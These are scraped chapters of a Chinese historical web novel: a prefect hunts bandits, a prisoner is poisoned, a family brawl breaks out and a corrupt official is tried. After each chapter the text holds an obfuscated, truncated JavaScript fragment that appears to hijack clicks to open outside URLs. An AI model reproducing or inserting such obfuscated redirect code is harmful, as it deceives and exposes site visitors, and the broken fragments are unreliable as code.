“呵呵,不错!”,李博也知道擒贼先擒王,而此时的牢里十分热闹,何平尽可能欺负李柏,而李老四也被押了进去,就在何平他们旁边的牢房里。李老四一进来,就见何平稳稳当当坐在牢里,像一个大老爷一样,旁边一个人憋憋屈屈站在墙角,低着头就差钻地缝里了。李老四上次被何平抓住,吓得不轻,看见这位爷就哆嗦。 “说吧,早说早解脱。”,何平坐在椅子上,双手交叉覆于胸前。 “我,我真没拿呀。”,李柏委屈巴巴,他知道偷拿钦差财物是什么罪过,死也不能承认。 “是吗?成,你说你没拿就没拿吧!”,何平知道让他开口不容易,“你,把那拿过来。” 李柏端着夜壶过来,跪在地上,何平开始撒尿,尿液溅在李柏身上,李柏眼泪都留下来了,旁边的李老四看了都觉得害怕,心想:幸亏自己没在那个牢房。 何平撒完尿,又稳稳当当坐在椅子上,李柏把夜壶放好,又哆哆嗦嗦站在墙角。不一会儿,晚饭来了,李柏昨天已经被何平修理过了,今天赶紧过来端着托盘,跪在何平脚下,手举着托盘。何平也不客气,这饭菜都是打好招呼的,不是牢里的饭菜,全是外边同福苑送进来的,喷香。何平喝着酒吃着菜,不一会儿就风卷残云,所剩无几,“成了,你吃吧。” 李柏再看时,只剩下几片菜叶子,米饭也只剩下一个碗底了。“我,我不饿。” “这怎么能不饿呢?你吃呀,省得别人说我欺负了你,吃啊!” 何平刚一大声,李柏就吓得哭了出来,呜呜得边哭边吃饭。李老四在旁边虽然是牢饭,好歹能吃饱,见李柏这样都觉得可怜。可是他又怕何平,所以一句话也不敢说。 何平见李柏吃完了,双手撑在腿上,脑袋来到李柏脑袋边,“吃完了?吃饱了吗?” 李柏哭着摇摇头,又点点头。 “到底吃饱了没?” “吃饱了,吃饱了。” “那就成,来,给爷捶捶腿。这一天天的坐在这,怪累的。”,说着,何平将一条腿伸出来,李柏赶紧伺候。 正在何平欺负李柏的时候,何启年的大部队离马匪的驻扎地已经十分近了,远远看见火光,听见马匪的喧闹。何启年吩咐队伍等待,一个多时辰后,天色渐暗,月朗星稀,马匪的喧闹也渐渐停止。何启年带人悄悄进去,观察哨率先被拔除,马匪在宿醉之下被杀,总得有半柱香时间,马匪终于发现了何启年的人,驻扎地瞬间大乱,锣声四起,顿时喊杀声振振,火光冲天,箭羽纷飞,双方各有伤亡,但是何启年还是取得了此次剿灭马匪的大胜利。 队伍打扫战场,被生擒活捉的马匪也不在少数。据马匪交代,大当家的二愣子将马匪化整为零分为三个小队,这只是他们最小的一队,由四当家的带领,其余两队分别由二愣子和胡子老三带领,具体在什么位置,谁也不知道。可是这次还是达到了预期,缴获了他们随身携带的家当,何启年带着缴获来的家当和抓捕的马匪回城,受到了徽州百姓的夹道欢迎。 一大早,周启、何启年、李博就在书房里拿着地图商量。 “会不会在老猎户说的这座山上,他说隔两座山不太平。” “若是的话,今天发生了这样的事,恐怕也已经跑了。” “何统领,你的意思呢?” “大人,跑了的几率要大一点,不过,以昨天交手的情况看,这些马匪缺乏起码的伪装技能,在山上点明火,还根本不隐藏,如果派探子上山去,还是能追踪到一些痕迹的。” “山体这么大,这得派多少人?”,李博不无担心。 “如果将猎户组织起来呢?” “何统领,昨天那个老猎户明显不想惹是非,他们不说实话还算好的,若是像昨天一样给出错误的情报,后果难以预计。” “这帮子猎户,除掉了马匪不是对他们也有好处吗?”,何启年真是恨铁不成钢。 “何统领,他们不过是平头百姓,不做坏事也不想惹事,也是无可厚非。还是得派我们自己的人。” “那派谁呢?” 周启思虑一下,“孙氏兄弟不还在呢吗?他哥哥应该养好伤了吧?” “派他们去?他们是杀手,又不是探子。”,李博觉得这两个人终归不靠谱,“别再投敌叛变了。” “若是这么容易投敌叛变,也好早点解决,省得以后去军营丢人现眼。你去,告诉他们两个,这就是他们的任务,也是我与何统领对他们的考验,只要找到马匪的驻扎地,何统领收他们当个侍卫,或者想去哪个军营,我与何统领会给他们写推荐信。” “成,我这就去办去。” 其实何启年不知道孙氏兄弟的事情,但是既然五皇子要考验他们,以后难免会在军营里碰到,如今先看看情况,若真有能力,推荐一下也不是不可以,便站在旁边,什么也没有说。 孙氏兄弟早就摩拳擦掌,两人因为是黑户,无法参军才走上了职业杀手的道路,如今光明的前途摆在眼前,自然尽心效力,当天就上山去找马匪。 吴怡回到钱家,心里骂了周启三百多遍,来找钱宁学习的时候越想越生气,盘腿坐在椅子上,将书放在脸上,两条胳膊张开。“啊!” “怎么了?” “死知府,臭知府!不讲信用!” “周大人没有让你见李大叔吗?” 吴怡 一听,更加生气了,一把将书拿下来,“混蛋知府,我爹根本就不在他手上,还骗我!要知道不跟他出城了!山上那么多蚊子,还有马匪,多危险呐,他倒好,又把我爹抓起来了!” 钱宁一听李老四找到了,倒是稍稍放心,“吴怡,李大叔又进去了?” “是啊!”,吴怡双腿一瞪,只用腰撑着直挺挺躺在椅子上,“什么知府,比我还会骗人!死骗子,臭骗子!” “哈哈哈,吴怡,你别生气,好歹你见到李大叔了,知道他是安全的,之后咱们按照周大人的吩咐办事,他会放了李大叔的。” 吴怡一下子坐直,“钱宁,你还相信他啊?我告诉你,我算是知道了,要说骗人他简直天下第一,我再也不相信他了!” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第七十二章 袭击徽州的原因 - 风吹繁花散落时 - 红酒羊排 孙氏兄弟不负众望,成功带回了马匪的消息:二愣子所带的主要部队与胡子老三所带的部队相隔不远,如果一个受到袭击,另一个马上就能驰援。 “那就出发吧。”,周启轻描淡写,好像在说着什么平常的事情。 “大人,若是一起攻击,不一定能全都歼灭,况且也不一定能抓住二愣子和胡子老三。” “先消灭主要部队,后边不是还有别的计划呢吗?不过何统领,这次最好多消灭一点,省得后边太麻烦。” “是。”,何启年在这几次剿灭马匪的行动中,在周启的身上看见了当今陛下做皇子时候的影子,周启运筹帷幄的样子真的很有皇家风范,心也够硬,明确知道自己在做什么。这对于属下来说,是再好不过的了,何启年的心向着周启更加靠拢了一点。 在何启年的袭扰下,马匪越打越散,胡子老三对二愣子越来越不满意。“哼,当人家大哥的,就知道躲躲躲,如今兄弟们死伤过半,还他妈躲!” 二愣子知道大势已去,可是时间已经无法回到袭城前了。那天,二愣子还在大碗喝酒,大口吃肉,怀里搂着抢来的姑娘,张广突然来访,打破了原本的“平静”。 “袭击徽州城?老子还想多活两年。”,初听计划,二愣子也觉得不靠谱。 “哈哈,我当然知道这不容易,可是徽州城都给大当家的把门打开了,您还有什么犹豫的呢?” 二愣子放开手里的姑娘,“把门打开?哈哈哈,看来是要利用我们了?” “怎么能是利用呢?徽州城的财富,大当家的能拿多少就拿多少。” 胡子老三在旁边很是心动,二愣子十分警觉,“哼,能拿多少拿多少,那我也得有命用才行。” “大当家的,兄弟们落草为寇,过的本就是刀口舔血的日子。若是有了这些钱,往深山老林里一扎,谁能抓到。” “我们是落草为寇,但是不是举兵造反,你走吧,趁着我还没改变主意。” “大当家的,当年你爹被冤枉起兵造反,那个时候你只有七岁吧?你猜,他若是知道他的儿子如此没出息,还能拼了命保住你的命吗?” 此言一出,在场的所有人都惊呆了,二愣子一下子想起了三十年前的事情。二愣子名叫刘四今,也是武将之后,本来刘四今也是聪明伶俐,若没有家庭变故,本会像父辈一样入伍从军,报效朝廷。可是这一切都在那场皇子倾轧中戛然而止,刘四今的父亲被诬陷起兵造反,刘家被满门抄斩,刘四今在父亲的拼死抵抗中赢得了逃跑的时间,在管家的保护下才长大成人。 “大当家的,怎么?不过三十年的时间,你就忘了?当年陷害你父亲的人,还高高在上受着万人朝拜, 你呢?落草为寇,苟且偷生,连闹出点动静的勇气都没有。我真是替刘将军感到不值啊,刘家,终究是败了。” “你给我闭嘴!” “哈哈哈,亡灵在上,就算你不造反,也会有造反的大帽子扣到你头上。刘四今,你就在这里苟且偷生吧!”,说着,张广仰天长啸,“刘将军,我真是替你感到悲哀啊!你的儿子竟是一个孬种,一个彻头彻尾的缩头乌龟!” 二愣子青筋暴起,眼珠差点瞪出来,他咬着牙答应了张广的提议。三十年来,他以为心中的怒火已经渐渐熄灭,可是只要有人提起,他就怒火中烧,将所有理智都打碎。在商量好的那一天,二愣子亲自带着弟兄们袭击徽州城。可是与商量好的不同,徽州城门紧闭,他不知道是自己上当了,还是哪里出了差错,二愣子那天就知道,死期已经不远了。 “大哥,大哥我们怎么办?”,马匪现在死伤惨重,一个个身上挂着彩。 二愣子收回思绪,从石头上站起身来,居高临下看着死里逃生的兄弟们,深深鞠了一躬,“兄弟们,是我对不起大家。” “大哥,大哥。” “二愣子,你现在说这些还有什么用?你他娘的倒是说说,我们该怎么办?”,胡子老三大声指责。 二愣子看了胡子老三一眼,又看看大家,“兄弟们,官府追得紧,我们就应该分开,他们不可能知道我们所有人的长相,你们去别的寨子投靠,或是下山回家去,总归有条生路。” “放屁!妈的,老子能回家早回家了!老子是清风寨二当家的,你让老子解散队伍,当个小喽啰去投靠别的寨子?” “老三,我们这些人都是在官府挂了号的,能活多久全靠造化了,可是我们得为兄弟们想想……” “想想想,就知道他妈想,老子不认你当大哥了!兄弟们!咱们本来就是土匪,还怕官府不成!走,老子就不信了,老子还能没个山头再当山大王!” “走!走!走!”,胡子老三就这样带走了大部分人,二愣子成了孤家寡人。但是他并没有觉得凄凉,他有自己的打算,那就是下山去找何启年,因为何启年就是当年“平叛”之人。三十年了,刘四今终于等到了一个机会,他打算在徽州为父报仇。 胡子老三带着人回到清风寨,这里已经被打扫干净,朝廷的队伍也已经撤走。胡子老三本来就觉得这么好的地势,放弃简直是大错特错,可是当时大当家的是二愣子,大家都听他的,如今大家觉得胡子老三才是主心骨,他说清风寨好,大家自然愿意回到寨子。 孙氏兄弟在山上寻找马匪的下落,他们怎么也没有想到马匪能回到早已被攻破的清风寨重建防御,两人在山上转悠 三天,一点收获都没有,只好回知府衙门复命。 “找不到了吗?” 孙氏兄弟的前途现在正是关键时刻,在周启面前恭恭敬敬,“大人,属下确实没有发现了。” 周启挑拨着蜡烛芯,突然噼啪一声,周启用剪子剪掉了多余的蜡烛芯,缓缓说道,“你们做的很好,那你们想好了吗?” 孙氏兄弟相互看了一眼,“大人,我们要去参军。” 周启看了一眼两人,因为一般人都会选做侍卫的,起码他认识的人绝对会选去做侍卫,“你们考虑清楚了?” 两兄弟一抱拳,齐齐说道,“是!” “那好吧。”,周启当着两人的面修书一封,又从抽屉里掏出来一封何启年已经写好的推荐信,交给两兄弟。“这是推荐信,你们去张掖找盛将军。不过那里是大周与西凉的交界处,常年交战,你们要想清楚,这推荐信给他,你们就是军旅之人,万难回头了。” 孙氏兄弟齐齐跪在地上,双手抱拳,“多谢大人,我们兄弟必定英勇杀敌,报效朝廷,不负大人栽培之恩!” “嗯,愿你们在前线能奋勇杀敌,早立战功。” 孙氏兄弟接过推荐信,第二天便一路出了徽州城。在十里亭两兄弟见周围没人,用平时行走江湖的本事将信件拿出,阅读一番,确定的确是推荐信后往张掖而去。 “这么快就放他们走了?”,李博还以为怎么也让他们再去山上找找。 “找马匪不过一时的,以后他们真的立了军功,可是利国利民的大好事。” “这两个小兔崽子,还挺幸运。” “别说他们了,李柏呢?” “哼,昨天晚上已经招了。”,李博想想就觉得可笑,“你没看见,被何平欺负得呀,人都瘦了一大圈,哆哆嗦嗦的,就差尿裤子了,哈哈哈哈。” “噗嗤,没想到啊,我们平时板正的何侍卫,还会欺负人呢。那个余年呢,什么也没做吗?” “嘿,天天上我这哭诉来,说你这个知府无故拘押别人,说我这个钦差就知道讨好你。还说那个李婶就是何平的过错,还说何平无官无职的,没有权利拘押他人,总之意思就是,你要是弄死李柏,他就弄死何平。” “切,借他两个胆子。” “大人,大人不好了!”,正说着,连锁带来了不好的消息。 “怎么了?” “大人,李老四中毒了!” 周启和李博吓了一跳,“什么时候?人呢?大夫呢?” 两人赶紧来到大牢,见李老四口吐白沫,大夫在旁边正在处理,何平扒着牢房的木栅栏。 “怎么回事?” “大人,他吃了同福苑送来的食物,没一会儿就中毒倒地上了。” 原来李柏已经招认了,只 等过堂,何平就不想欺负他了。今天同福苑又送来饭菜,这天天大鱼大肉的,何平也已经吃腻了,李柏招认了,知道自己的靠山马上就要倒了,根本没胃口。李老四在旁边隔着牢房看两人都不吃饭,馋虫发动说想吃,何平不过不想听他叨叨叨,随手就给他了,谁知没过多久,李老四口吐白沫,栽倒在地。 “你们马上去,去同福苑将今天做菜的厨子全都抓起来,还有送饭的小厮。” “大人,大人,犯人十分危险,恐有生命之忧。”,大夫已经给李老四催吐了,可是毒太厉害了,没有立时三刻就死已经是万幸了。 “大夫,不管用什么药,你一定要治好他,他很重要!” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第七十三章 周启、吴怡吵架 - 风吹繁花散落时 - 红酒羊排 李老四中毒颇深,大夫全力救治下,仍旧凶险异常。“马上把李老四抬到知府衙门去。” “等一下!”,李博赶紧过来劝阻,“大人,要是李老四有什么三长两短,他死在知府衙门,什么都说不清了!” 周启看了一眼李博,他现在脑子里很乱,李老四原本已经被他放了,也就是说他早就不是犯人了,如今不仅关在大牢里,还随时都可能死亡,若有人以此参他一本,他跳进黄河也洗不清了。 大夫不管病人去哪,治病才是本职,“大人,这人需要用药,可是药材名贵。” “什么药?” “千年人参,据我所知,只有钱记的药铺有一株。” “那赶紧,把他送到钱记去。”,李博总算找到个地方安放李老四了。 “哎呀,不行啊,钱记药铺只抓药,不接收病人啊。” “那怎么办?” “送到知府衙门去,我那里有千年人参。” “大人!”,李博可不想周启引火上身,可是周启态度坚决,“快!救人要紧!” 大家七手八脚将李老四抬进了知府衙门,娉婷听说李老四中了剧毒,也过来查看。“哥,他怎么了?” “被人下毒了。” “老骗子,坏事做多了吧?” “娉婷,你赶紧把那株千年人参拿出来,着急要用。” “在我屋呢,连锁你去拿吧。” 连锁拿到了人参,按照大夫说的办法给李老四喂进去,李老四开始强烈呕吐,后来终于恢复平静,安安静静沉睡着。娉婷早就嫌李老四腌臜,回屋去了。而吴怡得到消息赶来,一进屋见李老四脸色蜡黄,吴怡一个箭步扑过来,把着李老四的手,“爹,爹,你怎么了?你怎么了?” “吴怡,你爹刚刚吃了药,需要休息。”,李博见吴怡这样也于事无补,赶紧劝阻,“吴怡,你爹现在还很危险,你别再晃他了。” 吴怡站起来,问道,“我爹怎么了?” “中毒了呗,你不都看到了吗?” “我爹在牢里,怎么会中毒了呢?” 周启与李博对视一眼,不知如何解释。“这我们也在调查,相信很快就能找到真凶了。” “找到真凶?那我爹呢?我爹要是有个什么三长两短,你们谁赔给我?” “吴怡,你爹都吃药了,大夫说今天晚上很关键,明天一早你爹一醒,以后就都没事了。” 李博正安抚吴怡,大夫却毫无眼力,“大人,这位病人实在凶险,就算明天醒了,也许会落下终身的残疾,内脏损伤都是不可避免的。” 吴怡一听,差点瘫倒在地,“残疾?你说我爹会残疾?” “这位姑娘,我只能告诉你,这毒很凶,你爹一辈子都得吃药,这是一定的。” 吴怡 哇得一下哭了出来,钱宁过来把着吴怡的肩,“吴怡,吴怡,大夫说今天晚上很关键,还是先要照顾好大叔,明天一定要大叔醒过来才行。” 吴怡一时不知道该怎么办才好,幸亏钱宁在旁边,吴怡带着哭腔,“钱宁,我爹,我,怎么办呀?” “吴怡,你先别着急。大夫,今天晚上我们能做点什么?” “药已经吃了,现在要靠病人的意志力了。”,说完大夫便离开。 吴怡坐在李老四床前,见李老四嘴角还有白色的痕迹,顿时悲从心生,“爹,你一定要活下来,爹。” “哎,那个,钱宁啊。” “李大人。” “这个李老四在知府衙门似乎不太方便,不知道你们钱记能不能?” “哦,如果李大叔可以挪动的话。” “可以,可以的,刚才大夫说了。” “那没问题。” “我爹哪也不去!”,吴怡突然站起来开口了,“我爹哪也不去!就在这!” “吴怡?”,钱宁不明白吴怡什么意思。 “钱宁,我爹哪也不去。”,吴怡直直看着李博,“李大人,我爹之前就应该被释放了,这是我们说好的!可是你们说话不算话,才让我爹在牢里中毒了,我知道你什么意思,你就是想把我爹扔出去,就算死了,跟你们知府衙门也没有关系,是不是?” “吴怡。”,李博转身看看周启,又接着说道,“吴怡,我们也是为了你爹好,这钱记有药铺,这知府衙门又没有药材,若是你爹需要什么,在钱记不是更方便吗?我可是为了李大叔好。” “你少骗人了!”,吴怡突然犯起脾气,一门心思觉得不能挪动病人,“我明白,你们当官的哪把我们小老百姓的命当回事,今天我爹哪也不去,我看你们谁敢动我爹!” “李博。”,周启特别小声的叫了一下李博,李博赶紧过来,“就让他在这吧。” “大人!” 周启原本有点愧疚,他没想到余年能下毒要毒死何平和李柏,更没想到食物被李老四吃了,如今这样的情况,他有不可推卸的责任。况且李老四现在生死未卜,他怎么能忍心随意挪动他呢。“就这样吧!”,周启来到吴怡跟前,“吴怡,你爹今天晚上就在这吧,需要什么再告诉我吧。” “你少在这里假惺惺的!” “你说什么?” “吴怡。”,钱宁看出吴怡是气疯了,谁说话骂谁。 “周大人,就是你一而再再而三得利用我爹威胁我,要不是你,我爹现在还在城外呢,都是因为你,我爹才不会不省人事。”,说着吴怡又开始哭起来,“都是因为你,我不需要你假惺惺的,我想我爹好好的。” “吴怡,这件事我的确有不可推卸的 责任,我一定会治好你爹的。” “你不害我们就算是我们烧高香了。” 周启也生气了,强忍着才没有发火,“吴怡,我看在你爹生命垂危的份上不与你计较,你不要得寸进尺。” “我得寸进尺?是谁威胁我的,骗完徽商骗人家猎户?是谁叫姑娘被人家老鸨子堵在屋子里了?” “你给我闭嘴!” “怎么?现在怕我说了?” “吴怡。”,李博也慌了,赶紧过来,“你别太过分了!” “你让她说!”,周启还是第一次被人这么指责,火气也升腾起来,“吴怡,本官身正不怕影子斜,本官所做之事,对得起天地良心,对得起徽州百姓。” “对得起良心?那我爹呢?我爹都这样了,你还觉得你对得起良心吗?” “你爹的事情只是一个意外。” “意外?根本就是你为了帮你妹妹出气才公报私仇!” “你。我要是为了帮娉婷出气,你爹早死了。” “怎么样?把真心话说出来了吧!之前你就推三阻四,说话不算话,你根本不想放了我爹,所以你就痛下杀手。” “我痛下杀手?吴怡,你是带着你的脑子在说话吗?” “是,我是没脑子,你是状元,是大老爷,觉得我们小老百姓好欺负。” 正在这时,余年突然冒了出来,赶紧走进来搅和,“哎呦,这是怎么了?这是怎么了?” “谁让你进来的!”。周启的气正愁没地方撒。 “哎呦,大人,你就别隐瞒了,这大家都知道了。这个犯人怎么中毒了?中了毒怎么送到知府衙门来了?还有啊,你是家属吧?他是犯了什么事进去的呀?” “大人,我爹冤枉啊!” 周启见吴怡居然拉着余年喊冤,更是气不打一处来,“都给我闭嘴!” “哎呦,周大人,你的犯人中毒了,总得让家属伸冤吧!下官刚才在门口都听见了,这个小姑娘说了,大人是公报私仇,对犯人痛下杀手,大人呐……” 周启已经被吴怡和余年气得失去了理智,四下张望,一把将侍卫的刀抽了出来,李博赶紧阻拦。余年拖着他肥胖的身材赶紧逃跑,一边跑一边还说,“周知府,你公报私仇,本官一定会上本参你!哎呀,来人呀,周知府要杀人灭口了!” 娉婷跑进来查看,见周启生了大气,被李博拦着,也赶紧过来阻拦。“哥。”,娉婷趁机夺下了刀交给侍卫。 周启稍微恢复平静,见满屋子人,心里烦躁,“都给我滚!” “我不!”。吴怡一屁股坐在李老四身边,“我才不出去呢!” 周启原本想自己静静,谁知道吴怡居然根本不听自己的,从小到大,他还是第一次遇到这种情况。“成成成。 ”,周启指着自己的鼻子,“我滚,我滚成了吧!” “哎,哥!” “都别跟着我!” “吴怡,我们可是救了这个老骗子,你怎么不识好歹?” 吴怡又站起来,直面娉婷,“我爹可是在大牢里中毒的,给他请个大夫不应该吗?” “请大夫?要知道你这个德行,直接让你爹死了算了!” “你!”,吴怡本来就生气,看娉婷刁蛮的样子更加气不打一处来,居然和娉婷互揪头发打在了一起,屋里瞬间乱了起来,所有人都纠缠在一起,周启原本刚回书房想冷静冷静,连锁就跑进来告诉他吴怡和娉婷打起来了。 周启三步并作两步跑回来,见李博和钱宁倒在地上扭打在一起,吴怡和娉婷还互相揪着头发,瞬间急了,过来两个女人身边,一手把着一个,“给我放手!” “不放!”,两个人现在倒是齐心。 周启一生气,一手揪着一个人的头发,男人的力气毕竟比女人大,两个人顿时觉得疼痛难忍,全都松手了。“疼疼,哥。” “还打不打了?” “不打了。” 周启还抓着两人,对地上的两人说,“给我住手!”,地上的两人根本没打架,就是李博不想让钱宁帮吴怡,单纯压制住了钱宁,听周启的吩咐,一下子就站了起来。周启一松手,娉婷还老老实实,吴怡可不是吃亏的主,原本猫着腰,使劲往下一顶,脑袋撞在周启鼻子上,周启觉得生疼,顿时鲜血直流。 “你这个女人!”,周启捂着自己的鼻子,娉婷和李博都过来查看。 “叫你!”,吴怡揉着自己的头皮,刚才撞周启倒是不疼,被周启揪头发才是真疼。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第七十四章 与余年的对决(上) - 风吹繁花散落时 - 红酒羊排 周启被吴怡撞得流了血,所有人都慌了,一个堂堂皇子,当着伴读、侍卫、贴身奴才的面就被人袭击了,要是追究起来,所有人都是大罪。尤其娉婷,见哥哥流血了,怒火中烧,上来就给了吴怡一个耳光。 “吴怡。”,钱宁赶紧过来,吴怡被打得眼冒金星,又上来想和娉婷动手,场面瞬间又乱了。周启顾不得鼻子流血,赶紧叫侍卫进来将两边人分开。周启猫着腰,站在两边人中间,感觉有点累,“都别打了!我告诉你们啊,你们谁,不管是谁,再动手,我就把你们关到牢里去!” “哥!就不该救那么老骗子!” “你说什么?” “都给我闭嘴!”,周启被两个女人弄得头昏脑涨,“娉婷,回房去!你,你要不照顾你爹,要不回钱家去!” “我照顾我爹。” “那就都给我老实的,都散了。”,热闹的晚上终于过去了,第二天一早李老四睁开了眼睛。 “爹,爹你醒了?”,吴怡喜极而泣,“爹,你能听见我说话吗?” “吴怡?” “哎,爹,我以为再也见不到你了,爹,你终于醒了。” 大夫进来查看,李老四总算捡回来一条命,可是五脏受损,后半生都需要人参保命,而且左手失去了知觉,右眼也视力减弱,不知道是一时的还是永久的,需要观察。 “爹,我们走。”,吴怡一时也不想呆在知府衙门了,见李老四醒了,想赶紧带他去钱家。 “走?去哪啊?这是哪啊?” “这是知府衙门,我们去钱家。” “知府衙门?那我不走。” “爹?” “知府都是我女婿了,我怎么能走呢?” “爹,你别胡说。” “我怎么胡说?你们都拜堂成亲了,现在我可是知府的岳父大人,他人呢?” 吴怡真是服了李老四,“人家才不理你呢,你忘了,就是他把你关在牢里,要不你能中毒吗?” “中毒?哎呀,我想起来了,就是最近什么好吃的都没吃上,要不我能找人家要要碗饭吗?我跟你说啊,要不是有毒药,那饭恐怕还得更好吃。啧香,唉,可惜了一碗那么好的饭。” “你找人家要的?” “是啊,我不知道那里边有毒药啊,要不我怎么也不能吃啊。” 吴怡一听是李老四自己要的,知道自己冤枉周启了,而此时正好周启走了进来。“李老四。” “哎呦,这不是我女婿吗?怎么,终于知道来看你老丈人了?” “我看你是好了。” “哈哈,我李老四命硬着呢,小鬼不收,从鬼门关回来了。” “李老四,你好好养病吧,大夫说你以后都需要吃人参,我全包了。” “人参?我说女婿啊,你 能不能把买人参的钱换成银子给我,我不吃那玩意,你直接给我钱就成了。” “爹!” “给你钱?” “是啊,怎么样?” “做梦去吧!”,周启见李老四这样,终于放下心来,转身走了。吴怡追了出来,“周大人,周大人。” “何事?” “那个,昨天对不起啊,我,你鼻子没事了吧?” “没事。”,周启面无表情,强忍着疼,也没有跟吴怡计较。 “还有,那个我听我爹说,是他自己抢着吃那碗饭的,我昨天误会你了。” 周启见吴怡扭捏的样子,真是觉得又好气又好笑,“你昨天不是理直气壮,觉得本官草菅人命吗?” “周大人,我,我糊涂,我没脑子,你大人不记小人过。” “成了,回去照顾你爹吧。” “哎,周大人,那余年大人?” “哦,对了,因为你余大人要参我,你觉得应该怎么补偿我呢?” “怎么补偿?大人,你说呢?” 周启的鼻子突然又剧烈的疼了一下,反正做什么都不可能让余年改变说法,所以周启打算逗逗吴怡,“既然我们都成亲了,你这个做娘子的当然得好好补偿我了。” “啊?” 周启贴着吴怡的脸,小声说道,“娘子,看来你后半辈子都得用来补偿我了。”,说完,周启转身离开,留下吴怡浑身一哆嗦。 周启来到前衙,李博已经等候多时,“开始吧!” 李博以钦差之尊,将徽州大小官员都传来,周启与余年对簿公堂。 “周大人,你状告余年勾结驿站小吏李柏、妓院鸨母诬陷与你,可有凭证?” “请大人允许下官传讯证人。” “准。” 周启一回头,李柏走上堂来,哆哆嗦嗦跪在地上,“大人。” 周启拿出李柏的证词,“大人,各位大人,这是李柏亲自供述的。他受余年指使,偷盗钦差大人的随身之物,随后在街上找了一个小乞丐,引诱我到驿站,诬陷我与钦差大人有龙阳之好。大人,这是证词。” 李博接过证词,看了一眼余年,“余大人,此事你作何解释?” “大人。”,余年倒是不慌不忙,“大人与周大人同床共枕,是百姓们亲眼所见,怎么能是下官诬陷呢?” “那指使李柏偷盗财物呢?” “大人,李柏其人速来手脚不干净。其实是他偷盗了大人的财物,想让下官给他脱罪,但是被下官严词拒绝,他才心怀怨恨,被大人抓住后,才想拖下官下水。” “李柏?” “大人。”,李柏听余年根本不打算承认,如今也只能自救了。李柏一把鼻涕一把泪地说道,“大人啊,都是余年叫我干的呀。那天他说我只要按照他说 的办,他就给我一百两银子,我也是一时鬼迷心窍,大人,我是一时糊涂啊。” “哼,李柏,你常年赌博,欠下赌债。老婆跟别人跑了之后,你就更加变本加厉。你是本官妻弟不假,但是本官与内人早就断了与你的来往,就是想让你这个不争气的能迷途知返,可是你非但不悔改,居然监守自盗,在驿站偷起东西来,真是我们官员中的败类!” “大人,小的是赌博,可是从来没有偷过东西啊,从来没有啊。” “从来没有?哼,大人,请大人也允许下官传讯证人。” “传。” 堂下走来一人,是李柏的邻居,老老实实的跪在李柏旁边。 “张三,你来说说,这李柏是否曾经偷盗?” “回大人,李柏赌博输得精光,又没有发月例银子,青黄不接之时,偷了我家的走地鸡。” “你胡说!”,李柏已经哭得不成样子。 “李柏,你偷了我的走地鸡,我还上衙门告你了,要不是余大人给你还了债,你早就不是驿站的了,还敢跟我在这犯横?” 旁边坐着的一位知县站起身来,“钦差大人,下官可以作证,这李柏的确偷盗了邻居的走地鸡,还是余年大人拿出银子赔给了张三,才撤销了诉状。” 余年斜着小眼睛,露出戏谑的笑容,“李柏,本官是看在你姐姐的份上才给你还了债,你不知感恩,还在这里构陷本官,真是是可忍孰不可忍。” 周启也不慌不忙,“余大人,就算李柏偷盗过走地鸡,和他是你安排去偷盗的有什么抵触吗?” “周大人,如此奸佞小人的证言怎能采信。” “人无完人,他曾经有过错,就说他现在的证言不可采信?余大人,太偏激了吧?” “周大人,下官知道,下官曾经参奏于你,你就怀恨在心。这李柏与你的侍卫关在同一间牢房,根本就是你的侍卫在牢里调教了他,让他诬陷下官。” “哈哈,余大人挺会讲故事呀?”,周启对着李博一抱拳,“大人,既然余大人说李柏的证词不可信,那我们就来传讯下一位证人好了。” “传。” 堂下又走上一位,这一位一上堂,余年差点没站住。 “堂下何人?” “回大人,民妇李氏,大家都叫我李婶,曾是知府衙门的厨子。” “等一下!”,余年发觉不好,赶紧占据主动,“李婶,你偷盗知府衙门财物,是被周大人通缉过的,你怎么也来作证?” “余大人。”,周启解释道,“本官以偷盗之罪通缉李婶,并非本意,本官是担心若将李婶真正罪责公布与众,对余大人不好。” 余年面露尴尬,“我,周大人真是什么事情都能扯到下官身上啊。” “ 那我们就来看看这件事与余大人有没有关系吧。”,周启转身站在李婶前边,“李婶,你为何从知府衙门逃跑?” “回大人,民妇受余年大人指使,往知府衙门的饭菜中放了蒙汗药,民妇心中害怕,故而逃遁。” “胡说,本官何时指派与你?” “大人,余年大人抓了我的儿子,威胁我说要是我不干,就只能把我儿子的尸首给我了。民妇也是没有办法,民妇想着不过是蒙汗药,对大人的生命也没有危险,所以民妇只好从了。” “余大人,你为何把本官与本官的下属都弄晕啊?” “周大人,一个民妇的话,如何采信?” “民妇的话不能采信?这个李婶以前清清白白,刚才余大人说李柏存有污点,证言不能采信,那这个李婶可谓良家人。以前她的主顾对她的评价都很高,她为人勤恳老实,不偷懒,不贪财。这样的人的证言,按照余大人刚才的说法,应该最可信才对呀!” “这,这人无完人,谁知道周大人又用了什么方法,居然让一个老妈子也来公堂上指认我!” “哼。”,周启不想再玩这个无聊的游戏了,向着李博一抱拳,“大人,请允许下官传讯另外一位证人。” “传。” 一声令下,堂下又走来一人,正是何平。 